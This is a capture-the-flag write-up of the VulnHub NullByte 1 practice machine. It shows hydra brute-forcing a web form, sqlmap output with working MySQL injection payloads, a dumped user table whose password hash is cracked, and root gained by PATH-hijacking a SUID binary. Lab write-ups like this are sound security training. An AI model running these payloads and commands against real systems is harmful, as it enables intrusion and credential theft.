NullByte 1 VulnHub Writeup

  1. Service Discovery
  2. Port 80
  3. Dirbuster on /
  4. /kzMb6nVYJw/index.php
  5. We have a key, but which lock does it fit?
  6. Elevation
  7. Conclusion

Another week, another VulnHub image. This time it's NullByte by ly0n.

Service Discovery

nmap -T4 -A -v

Starting Nmap 6.49SVN ( ) at 2015-08-24 18:18 BST
NSE: Loaded 127 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 18:18
Completed NSE at 18:18, 0.00s elapsed
Initiating NSE at 18:18
Completed NSE at 18:18, 0.00s elapsed
Failed to resolve "nmap".
Initiating ARP Ping Scan at 18:18
Scanning [1 port]
Completed ARP Ping Scan at 18:18, 0.20s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 18:18
Completed Parallel DNS resolution of 1 host. at 18:18, 0.02s elapsed
Initiating SYN Stealth Scan at 18:18
Scanning [1000 ports]
Discovered open port 111/tcp on
Discovered open port 80/tcp on
Discovered open port 777/tcp on
Completed SYN Stealth Scan at 18:18, 5.00s elapsed (1000 total ports)
Initiating Service scan at 18:18
Scanning 3 services on
Completed Service scan at 18:18, 6.01s elapsed (3 services on 1 host)
Initiating OS detection (try #1) against
NSE: Script scanning
Initiating NSE at 18:18
Completed NSE at 18:18, 0.59s elapsed
Initiating NSE at 18:18
Completed NSE at 18:18, 0.00s elapsed
Nmap scan report for
Host is up (0.00042s latency).
Not shown: 997 closed ports
80/tcp  open  http    Apache httpd 2.4.10 ((Debian))
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Null Byte 00 - level 1
111/tcp open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version   port/proto  service
|   100000  2,3,4        111/tcp  rpcbind
|   100000  2,3,4        111/udp  rpcbind
|   100024  1          39985/udp  status
|_  100024  1          50441/tcp  status
777/tcp open  ssh     OpenSSH 6.7p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
|   1024 16:30:13:d9:d5:55:36:e8:1b:b7:d9:ba:55:2f:d7:44 (DSA)
|   2048 29:aa:7d:2e:60:8b:a6:a1:c2:bd:7c:c8:bd:3c:f4:f2 (RSA)
|_  256 60:06:e3:64:8f:8a:6f:a7:74:5a:8b:3f:e1:24:93:96 (ECDSA)
MAC Address: 08:00:27:FE:89:AF (Cadmus Computer Systems)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.2 - 3.19
Uptime guess: 199.637 days (since Fri Feb  6 02:01:50 2015)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=263 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

1   0.43 ms

NSE: Script Post-scanning.
Initiating NSE at 18:18
Completed NSE at 18:18, 0.00s elapsed
Initiating NSE at 18:18
Completed NSE at 18:18, 0.00s elapsed
Read data files from: /usr/local/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 14.50 seconds
           Raw packets sent: 1174 (52.570KB) | Rcvd: 1166 (47.430KB)

nmap showed that port 80, 111 and 777 were open. Port 80 was running Apache, 111 RPC, while port 777 was running an SSH server.

Port 80

Upon visiting the IP address in a web browser, we're presented with a rather ominous message.

After checking this file for any useful strings by using exiftool, I took a note of the only interesting piece of text, from the 'Comment' data.

exiftool main.gif
ExifTool Version Number         : 9.74
File Name                       : main.gif
Directory                       : .
File Size                       : 16 kB
File Modification Date/Time     : 2015:08:01 17:39:30+01:00
File Access Date/Time           : 2015:08:24 18:31:04+01:00
File Inode Change Date/Time     : 2015:08:24 18:31:04+01:00
File Permissions                : rw-rw-r--
File Type                       : GIF
MIME Type                       : image/gif
GIF Version                     : 89a
Image Width                     : 235
Image Height                    : 302
Has Color Map                   : No
Color Resolution Depth          : 8
Bits Per Pixel                  : 1
Background Color                : 0
Comment                         : P-): kzMb5nVYJw
Image Size                      : 235x302

Following my work on the Acid machine, I've taken to adding words and strings I find to my dirbuster word list, and I'm glad I did, as the next section will show.

Nothing much else of further interest from manual investigation. No robots.txt file, the home page appears to be served up from 'index.html', and nothing in comments or HTTP headers. Time to move on.

Dirbuster on /

java -jar DirBuster-0.12.jar -u -l custom-list.txt -g -e php -t 100
Starting OWASP DirBuster 0.12
Starting dir/file list based brute forcing
Dir found: / - 200
Dir found: /icons/ - 403
Dir found: /uploads/ - 200
Dir found: /javascript/ - 403
Dir found: /phpmyadmin/ - 200
Dir found: /server-status/ - 403
Dir found: /kzMb5nVYJw/ - 200
File found: /kzMb5nVYJw/index.php - 200
Dir found: /icons/small/ - 403

One directory in this list stood out - but I checked the others first. Nothing of interest in '/icons', while '/uploads' gave us a 200 response (even though the content stated Directory Listing was not allowed, so suspect this is a HTML page, instead of a server error). '/phpmyadmin' is..well..phpmyadmin. If I run out of options, I could try brute forcing this. Time to move on to pastures green.

The directory '/kzMb6nVYJw' has a file named 'index.php', which sounds more promising. Let's take a look.


On this page, we're given a form with a single input named 'key'. A comment can be seen in the source stating "this form isn't connected to mysql, password ain't that complex". I've tried a few of the golden-oldies such as 'admin', 'password', '12345' and 'letmein', so after checking for SQLi (comments have lied to me in the past!), I put this through hydra to bruteforce, using a short and sweet English word list.

hydra http-form-post "/kzMb5nVYJw/index.php:key=^PASS^&:invalid key" -P /usr/share/dict/words -la -t 10 -w 30
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra ( starting at 2015-08-24 18:48:38
[DATA] max 10 tasks per 1 server, overall 64 tasks, 99171 login tries (l:1/p:99171), ~154 tries per task
[DATA] attacking service http-post-form on port 80
[80][http-post-form] host:   login: na   password: elite
1 of 1 target successfully completed, 1 valid password found
Hydra ( finished at 2015-08-24 18:49:17

After entering the password of 'elite', we're provided with some kind of username lookup form.

After submitting the form with empty input, we're provided with a list of usernames. These may come in handy, so I note them down for later.

As this appears to be querying a data set of some sort, my first port of call is to test for SQLi. After submitting a double quote as the search value, we're presented with what appears to be a MySQL error message.

Time fire up sqlmap.

sqlmap --threads=10 --url="*"
 ___ ___| |_____ ___ ___  {1.0-dev-nongit-20150824}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 18:54:40

[18:54:40] [WARNING] using '/home/test/.sqlmap/output' as the output directory
custom injection marking character ('*') found in option '-u'. Do you want to process it? [Y/n/q]
[18:54:41] [INFO] testing connection to the target URL
[18:54:41] [INFO] testing if the target URL is stable. This can take a couple of seconds
[18:54:42] [INFO] target URL is stable
[18:54:42] [INFO] testing if URI parameter '#1*' is dynamic
[18:54:42] [INFO] confirming that URI parameter '#1*' is dynamic
[18:54:42] [INFO] URI parameter '#1*' is dynamic
[18:54:42] [INFO] heuristic (basic) test shows that URI parameter '#1*' might be injectable (possible DBMS: 'MySQL')
[18:54:42] [INFO] testing for SQL injection on URI parameter '#1*'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]
[18:54:44] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[18:54:44] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[18:54:44] [WARNING] reflective value(s) found and filtering out
[18:54:45] [INFO] URI parameter '#1*' seems to be 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)' injectable
[18:54:45] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause'
[18:54:45] [INFO] URI parameter '#1*' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' injectable
[18:54:45] [INFO] testing 'MySQL inline queries'
[18:54:45] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)'
[18:54:45] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT)'
[18:54:45] [INFO] testing 'MySQL > 5.0.11 stacked queries (comment)'
[18:54:45] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[18:54:45] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
[18:54:45] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)' [18:54:45] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)'
[18:54:55] [INFO] URI parameter '#1*' seems to be 'MySQL >= 5.0.12 AND time-based blind (SELECT)' injectable
[18:54:55] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[18:54:55] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[18:54:55] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[18:54:55] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[18:54:55] [INFO] target URL appears to have 3 columns in query
[18:54:55] [INFO] URI parameter '#1*' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection points with a total of 96 HTTP(s) requests:
Parameter: #1* (URI)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload:" AND 3295=3295#

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload:" AND (SELECT 8494 FROM(SELECT COUNT(*),CONCAT(0x7171707a71,(SELECT (ELT(8494=8494,1))),0x716b6b6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND "%"="

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload:" AND (SELECT * FROM (SELECT(SLEEP(5)))sVeE) AND "%"="

    Type: UNION query
    Title: MySQL UNION query (NULL) - 3 columns
    Payload:" UNION ALL SELECT NULL,CONCAT(0x7171707a71,0x77786a4d6650776e4868,0x716b6b6a71),NULL#
[18:55:29] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.10
back-end DBMS: MySQL 5.0
[18:55:29] [INFO] fetched data logged to text files under '/home/test/.sqlmap/output/'

[*] shutting down at 18:55:29

Fantastic - we have a few SQLi vectors to take advantage of. After checking to see which user we're logged in as (using the --current-user option in sqlmap), I take note that we're logged in as the 'root' user.

Next, I dump all the data available to use using the --dump-all option in sqlmap. Going through the data, I take notes of the MySQL password hashes, in case we run out of steam later.

There is a database named 'seth', and within this is a table named 'users'.

Database: seth
Table: users
[2 entries]
| id | pass                                        | user   | position   |
| 1  | YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE | ramses | <blank>    |
| 2  | --not allowed--                             | isis   | employee   |

The first entry matches up with one of the users we saw in the previous step - ramses. There is a column called 'pass', and for the ramses user the value doesn't look like MD5, but smells like a Base64 string. The second entry is for the username of isis, and the password hash equals '--not allowed--', which I'm guessing means we can't use this user is disabled?

After converting the value of the pass column for the ramses user, we're given what looks a lot more like an MD5 hash. After submitting this hash to CrackStation, we get a match back for the word 'omega'.

We have a key, but which lock does it fit?

After testing the login pair we retrieved above against phpmyadmin, I stopped to think what else we could try it against. Taking a look at the scan performed earlier, we have an SSH server that is accepting connections. On a wish and a prayer, I tried these credentials...success! We are able to login as the ramses user via SSH.


The first thing I notice is that the previously discovered 'uploads' directory in the web root (/var/www/html) is world writable. Straight away I drop a phpinfo script to check that this directory allows execution of PHP, which it does. I note this for later, in case we need to elevate via the 'www-data' user.

The next thing I notice (after checking the bash history for ramses) is that there's a directory named 'backup' in the '/var/www' directory. Within this directory is an executable named 'procwatch' with the SUID bit set. The file is owned by root. If we can exploit a weakness in this binary, we may be able to get a shell as root.

First of all, I disassemble it with 'objdump -D procwatch', and look for the entry point.

Based upon the ASM in the 'main' function, it looks like it's pushing the address for the text 'ps', terminated by a NULL terminator on to the stack, which as I understand it equates in to an argument for the call to the 'system' function. It's not specifying a path for the 'ps' binary, which means if I set my PATH to a directory under my control, within which I place an executable file named 'ps', then this will get executed instead of the 'ps' executable in '/bin'.

804840f: 66 c7 00 70 73 movw $0x7370,(%eax)
8048414: c6 40 02 00 movb $0x0,0x2(%eax)
8048418: 83 ec 0c sub $0xc,%esp
804841b: 8d 45 c6 lea -0x3a(%ebp),%eax
804841e: 50 push %eax
804841f: e8 ac fe ff ff call 80482d0 <system@plt>

First of all, I echo out a call to '/bin/sh' into a file named ps in the current directory, and set it as executable. Then, after setting the PATH to the current directory (the home directory of the 'ramses' user), I execute the procwatch executable.

ramses@NullByte:~$ echo '/bin/sh' > ps && chmod +x ps
ramses@NullByte:~$ PATH=/home/ramses /var/www/backup/procwatch
# /usr/bin/id
uid=1002(ramses) gid=1002(ramses) euid=0(root) groups=1002(ramses)
# /usr/bin/whoami

Boom! We have shell as root! Doing an 'ls' of roots home directory shows us the file that contains our proof of beating the challenge.

# /bin/ls /root
# /bin/cat /root/proof.txt

It seems that you have pwned the box, congrats.
Now you done that I wanna talk with you. Write a walk & mail at attach the walk and proof.txt
If is down you may mail at


Version: BCPG C# v1.6.1.0



During this challenge, I had a strong sense of momentum. Really good fun, and glad there was a bit of binary analysis thrown in for good measure. Thank you again VulnHub, and ly0n!